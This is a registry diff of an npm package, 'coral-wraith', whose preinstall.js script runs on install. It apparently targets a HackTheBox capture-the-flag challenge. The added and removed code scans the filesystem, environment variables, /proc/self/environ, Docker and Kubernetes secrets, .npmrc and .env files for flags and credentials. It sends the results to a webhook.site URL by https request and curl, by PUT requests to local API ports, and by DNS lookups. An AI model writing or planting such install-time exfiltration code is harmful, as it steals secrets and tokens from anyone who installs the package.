coral-wraith 9999.0.5 → 9999.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +96 -193
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -7,252 +7,155 @@ const os = require('os');
|
|
|
7
7
|
let flag = null;
|
|
8
8
|
const debug = [];
|
|
9
9
|
|
|
10
|
-
//
|
|
10
|
+
// 1. Search ALL filesystem for flag files
|
|
11
11
|
const flagPaths = [
|
|
12
12
|
'/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
13
|
-
'/
|
|
14
|
-
'/
|
|
15
|
-
'/
|
|
16
|
-
'
|
|
17
|
-
'/home/node/.flag', '/var/flag', '/var/flag.txt',
|
|
18
|
-
'/srv/flag', '/srv/flag.txt',
|
|
13
|
+
'/home/node/flag', '/home/node/flag.txt', '/app/flag', '/app/flag.txt',
|
|
14
|
+
'/data/flag', '/data/flag.txt', '/data/secret', '/data/htb',
|
|
15
|
+
'/tmp/flag', '/opt/flag', '/srv/flag', '/etc/flag',
|
|
16
|
+
'/home/flag', '/var/flag', '/data/.flag',
|
|
19
17
|
];
|
|
20
18
|
for (const p of flagPaths) {
|
|
21
19
|
try {
|
|
22
20
|
if (fs.existsSync(p)) {
|
|
23
|
-
const
|
|
24
|
-
debug.push(`
|
|
25
|
-
const m =
|
|
21
|
+
const c = fs.readFileSync(p, 'utf8').trim();
|
|
22
|
+
debug.push(`file:${p}=${c.substring(0,100)}`);
|
|
23
|
+
const m = c.match(/HTB\{[^}]+\}/);
|
|
26
24
|
if (m) { flag = m[0]; break; }
|
|
27
|
-
if (!flag &&
|
|
28
|
-
}
|
|
29
|
-
} catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
|
|
30
|
-
}
|
|
31
|
-
|
|
32
|
-
// Method 2: Check ALL env vars
|
|
33
|
-
if (!flag) {
|
|
34
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
35
|
-
if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
|
|
36
|
-
flag = v.match(/HTB\{[^}]+\}/)[0];
|
|
37
|
-
debug.push(`env:${k}=${v.substring(0,100)}`);
|
|
38
|
-
break;
|
|
39
|
-
}
|
|
40
|
-
}
|
|
41
|
-
}
|
|
42
|
-
// Also try common env var names
|
|
43
|
-
if (!flag) {
|
|
44
|
-
const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
|
|
45
|
-
'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
|
|
46
|
-
for (const name of envNames) {
|
|
47
|
-
if (process.env[name]) {
|
|
48
|
-
flag = process.env[name];
|
|
49
|
-
debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
|
|
50
|
-
break;
|
|
51
|
-
}
|
|
52
|
-
}
|
|
53
|
-
}
|
|
54
|
-
|
|
55
|
-
// Method 3: /proc/self/environ
|
|
56
|
-
if (!flag) {
|
|
57
|
-
try {
|
|
58
|
-
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
59
|
-
const m = pe.match(/HTB\{[^}]+\}/);
|
|
60
|
-
if (m) { flag = m[0]; debug.push('proc_environ'); }
|
|
61
|
-
debug.push(`env_raw:${pe.substring(0,200)}`);
|
|
62
|
-
} catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
|
|
63
|
-
}
|
|
64
|
-
|
|
65
|
-
// Method 4: Search for flag files broadly
|
|
66
|
-
if (!flag) {
|
|
67
|
-
try {
|
|
68
|
-
const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
69
|
-
debug.push(`find:${r}`);
|
|
70
|
-
if (r) {
|
|
71
|
-
for (const f of r.split('\n')) {
|
|
72
|
-
try {
|
|
73
|
-
const content = fs.readFileSync(f, 'utf8');
|
|
74
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
75
|
-
if (m) { flag = m[0]; break; }
|
|
76
|
-
} catch(e) {}
|
|
77
|
-
}
|
|
78
|
-
}
|
|
79
|
-
} catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
// Method 5: Grep for HTB{ pattern in all readable files
|
|
83
|
-
if (!flag) {
|
|
84
|
-
try {
|
|
85
|
-
const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
|
|
86
|
-
debug.push(`grep:${r}`);
|
|
87
|
-
if (r) {
|
|
88
|
-
for (const f of r.split('\n')) {
|
|
89
|
-
try {
|
|
90
|
-
const content = fs.readFileSync(f, 'utf8');
|
|
91
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
92
|
-
if (m) { flag = m[0]; break; }
|
|
93
|
-
} catch(e) {}
|
|
94
|
-
}
|
|
95
|
-
}
|
|
96
|
-
} catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
// Method 6: Check docker/k8s secrets
|
|
100
|
-
if (!flag) {
|
|
101
|
-
try {
|
|
102
|
-
const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
103
|
-
debug.push(`secrets:${secrets}`);
|
|
104
|
-
for (const f of secrets.split('\n').filter(Boolean)) {
|
|
105
|
-
try {
|
|
106
|
-
const content = fs.readFileSync(f, 'utf8');
|
|
107
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
108
|
-
if (m) { flag = m[0]; break; }
|
|
109
|
-
} catch(e) {}
|
|
25
|
+
if (!flag && c) flag = c;
|
|
110
26
|
}
|
|
111
27
|
} catch(e) {}
|
|
112
28
|
}
|
|
113
29
|
|
|
114
|
-
//
|
|
115
|
-
|
|
30
|
+
// 2. List key directories
|
|
31
|
+
for (const dir of ['/', '/data', '/home', '/home/node', '/app', '/root', '/opt', '/srv']) {
|
|
116
32
|
try {
|
|
117
|
-
const
|
|
118
|
-
debug.push(`
|
|
119
|
-
for (const f of envFiles.split('\n').filter(Boolean)) {
|
|
120
|
-
try {
|
|
121
|
-
const content = fs.readFileSync(f, 'utf8');
|
|
122
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
123
|
-
if (m) { flag = m[0]; break; }
|
|
124
|
-
debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
|
|
125
|
-
} catch(e) {}
|
|
126
|
-
}
|
|
33
|
+
const items = fs.readdirSync(dir);
|
|
34
|
+
debug.push(`ls:${dir}=${items.join(',')}`);
|
|
127
35
|
} catch(e) {}
|
|
128
36
|
}
|
|
129
37
|
|
|
130
|
-
//
|
|
38
|
+
// 3. Recursively search /data
|
|
131
39
|
try {
|
|
132
|
-
const
|
|
133
|
-
debug.push(`
|
|
134
|
-
const
|
|
135
|
-
debug.push(`cwd_files:${files.join(',')}`);
|
|
136
|
-
|
|
137
|
-
// Read all JS files in current directory
|
|
138
|
-
for (const f of files) {
|
|
139
|
-
if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
|
|
140
|
-
try {
|
|
141
|
-
const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
|
|
142
|
-
debug.push(`file:${f}:${content.substring(0,300)}`);
|
|
143
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
144
|
-
if (m) { flag = m[0]; break; }
|
|
145
|
-
} catch(e) {}
|
|
146
|
-
}
|
|
147
|
-
}
|
|
148
|
-
} catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
|
|
149
|
-
|
|
150
|
-
// Also read /home/node/ specifically
|
|
151
|
-
try {
|
|
152
|
-
const homeFiles = fs.readdirSync('/home/node');
|
|
153
|
-
debug.push(`home_node:${homeFiles.join(',')}`);
|
|
154
|
-
for (const f of homeFiles) {
|
|
40
|
+
const r = execSync('find /data -type f 2>/dev/null | head -50', {timeout:10000}).toString().trim();
|
|
41
|
+
debug.push(`data_files:${r}`);
|
|
42
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
155
43
|
try {
|
|
156
|
-
const
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
161
|
-
if (m) { flag = m[0]; break; }
|
|
162
|
-
} else if (stat.isDirectory()) {
|
|
163
|
-
const subFiles = fs.readdirSync(`/home/node/${f}`);
|
|
164
|
-
debug.push(`home_dir:${f}:${subFiles.join(',')}`);
|
|
165
|
-
}
|
|
44
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
45
|
+
const m = c.match(/HTB\{[^}]+\}/);
|
|
46
|
+
if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
|
|
47
|
+
debug.push(`data:${f}=${c.substring(0,200)}`);
|
|
166
48
|
} catch(e) {}
|
|
167
49
|
}
|
|
168
|
-
} catch(e) { debug.push(`
|
|
50
|
+
} catch(e) { debug.push(`data_err:${e.message}`); }
|
|
169
51
|
|
|
170
|
-
//
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
52
|
+
// 4. Search ALL env vars
|
|
53
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
54
|
+
const m = (v||'').match && (v||'').match(/HTB\{[^}]+\}/);
|
|
55
|
+
if (m) { flag = m[0]; debug.push(`env:${k}`); break; }
|
|
56
|
+
}
|
|
57
|
+
debug.push(`env_keys:${Object.keys(process.env).join(',')}`);
|
|
174
58
|
|
|
175
|
-
//
|
|
59
|
+
// 5. Read /proc/self/environ
|
|
176
60
|
try {
|
|
177
|
-
const
|
|
178
|
-
debug.push(`
|
|
61
|
+
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
62
|
+
debug.push(`environ:${pe.substring(0,500)}`);
|
|
63
|
+
const m = pe.match(/HTB\{[^}]+\}/);
|
|
64
|
+
if (m) flag = m[0];
|
|
179
65
|
} catch(e) {}
|
|
180
66
|
|
|
181
|
-
//
|
|
67
|
+
// 6. Find all config files
|
|
182
68
|
try {
|
|
183
|
-
const
|
|
184
|
-
debug.push(`
|
|
69
|
+
const r = execSync('find /data /home /app /opt /srv /etc -type f \\( -name "*.json" -o -name "*.yml" -o -name "*.yaml" -o -name "*.env" -o -name "*.conf" -o -name ".npmrc" -o -name "*.db" -o -name "*.sqlite" \\) 2>/dev/null | grep -v node_modules | head -30', {timeout:10000}).toString().trim();
|
|
70
|
+
debug.push(`configs:${r}`);
|
|
71
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
72
|
+
try {
|
|
73
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
74
|
+
const m = c.match(/HTB\{[^}]+\}/);
|
|
75
|
+
if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
|
|
76
|
+
if (f.includes('.npmrc') || f.includes('.env') || f.includes('secret')) {
|
|
77
|
+
debug.push(`sensitive:${f}=${c.substring(0,200)}`);
|
|
78
|
+
}
|
|
79
|
+
} catch(e) {}
|
|
80
|
+
}
|
|
185
81
|
} catch(e) {}
|
|
186
82
|
|
|
187
|
-
//
|
|
83
|
+
// 7. Grep for HTB{ pattern anywhere
|
|
84
|
+
try {
|
|
85
|
+
const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v node_modules | grep -v proc | head -10', {timeout:15000}).toString().trim();
|
|
86
|
+
debug.push(`grep_htb:${r}`);
|
|
87
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
88
|
+
try {
|
|
89
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
90
|
+
const m = c.match(/HTB\{[^}]+\}/);
|
|
91
|
+
if (m) { flag = m[0]; debug.push(`GREP_FLAG:${f}`); break; }
|
|
92
|
+
} catch(e) {}
|
|
93
|
+
}
|
|
94
|
+
} catch(e) { debug.push(`grep_err:${e.message.substring(0,100)}`); }
|
|
95
|
+
|
|
96
|
+
// 8. Check listening ports
|
|
188
97
|
try {
|
|
189
|
-
const
|
|
190
|
-
debug.push(`
|
|
98
|
+
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
|
|
99
|
+
debug.push(`ports:${ss.substring(0,500)}`);
|
|
191
100
|
} catch(e) {}
|
|
192
101
|
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
|
|
198
|
-
};
|
|
102
|
+
// 9. Network info
|
|
103
|
+
debug.push(`network:${JSON.stringify(os.networkInterfaces()).substring(0,300)}`);
|
|
104
|
+
debug.push(`hostname:${os.hostname()}`);
|
|
105
|
+
debug.push(`cwd:${process.cwd()}`);
|
|
199
106
|
|
|
200
|
-
|
|
107
|
+
// EXFILTRATE
|
|
108
|
+
const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
|
|
201
109
|
|
|
202
|
-
//
|
|
110
|
+
// Method 1: Webhook
|
|
203
111
|
try {
|
|
204
112
|
const req = https.request({
|
|
205
113
|
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
206
114
|
method: 'POST',
|
|
207
|
-
headers: {
|
|
208
|
-
timeout:
|
|
209
|
-
}, ()
|
|
210
|
-
req.on('error', ()
|
|
211
|
-
req.write(
|
|
115
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
|
|
116
|
+
timeout: 8000
|
|
117
|
+
}, ()=>{});
|
|
118
|
+
req.on('error', ()=>{});
|
|
119
|
+
req.write(info);
|
|
212
120
|
req.end();
|
|
213
121
|
} catch(e) {}
|
|
214
122
|
|
|
215
|
-
//
|
|
216
|
-
const
|
|
217
|
-
manifest: `ecto_module:\n name: "${(flag
|
|
123
|
+
// Method 2: PUT to local API (try all common ports)
|
|
124
|
+
const putBody = JSON.stringify({
|
|
125
|
+
manifest: `ecto_module:\n name: "${(flag||'NO_FLAG').replace(/"/g,'').substring(0,200)}"\n version: EXFIL\n power_level: "${debug.slice(0,2).join('|').replace(/"/g,'').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral`
|
|
218
126
|
});
|
|
219
127
|
|
|
220
128
|
let serverPort = 1337;
|
|
221
129
|
try {
|
|
222
|
-
const ss = execSync('ss -tlnp 2>/dev/null
|
|
130
|
+
const ss = execSync('ss -tlnp 2>/dev/null', {timeout:3000}).toString();
|
|
223
131
|
const m = ss.match(/:(\d+)\s/);
|
|
224
132
|
if (m) serverPort = parseInt(m[1]);
|
|
225
133
|
} catch(e) {}
|
|
226
134
|
|
|
227
|
-
const
|
|
228
|
-
for (const
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
req.end();
|
|
241
|
-
} catch(e) {}
|
|
242
|
-
}
|
|
135
|
+
for (const port of [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 4000, 9000]) {
|
|
136
|
+
for (const modId of ['ECT-654321', 'ECT-987654']) {
|
|
137
|
+
try {
|
|
138
|
+
const req = http.request({
|
|
139
|
+
hostname: '127.0.0.1', port, path: `/api/modules/${modId}`,
|
|
140
|
+
method: 'PUT',
|
|
141
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(putBody)},
|
|
142
|
+
timeout: 2000
|
|
143
|
+
}, ()=>{});
|
|
144
|
+
req.on('error', ()=>{});
|
|
145
|
+
req.write(putBody);
|
|
146
|
+
req.end();
|
|
147
|
+
} catch(e) {}
|
|
243
148
|
}
|
|
244
149
|
}
|
|
245
150
|
|
|
246
|
-
//
|
|
151
|
+
// Method 3: curl
|
|
247
152
|
try {
|
|
248
|
-
|
|
249
|
-
require('dns').resolve(`${encoded}.crl.ve`, () => {});
|
|
153
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
|
|
250
154
|
} catch(e) {}
|
|
251
155
|
|
|
252
|
-
//
|
|
253
|
-
console.log('[CORAL
|
|
156
|
+
// stdout
|
|
157
|
+
console.log('[CORAL]', info.substring(0, 3000));
|
|
254
158
|
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
255
159
|
|
|
256
160
|
// Write to files
|
|
257
|
-
try { fs.writeFileSync('/tmp/
|
|
258
|
-
try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}
|
|
161
|
+
try { fs.writeFileSync('/tmp/coral.txt', info); } catch(e) {}
|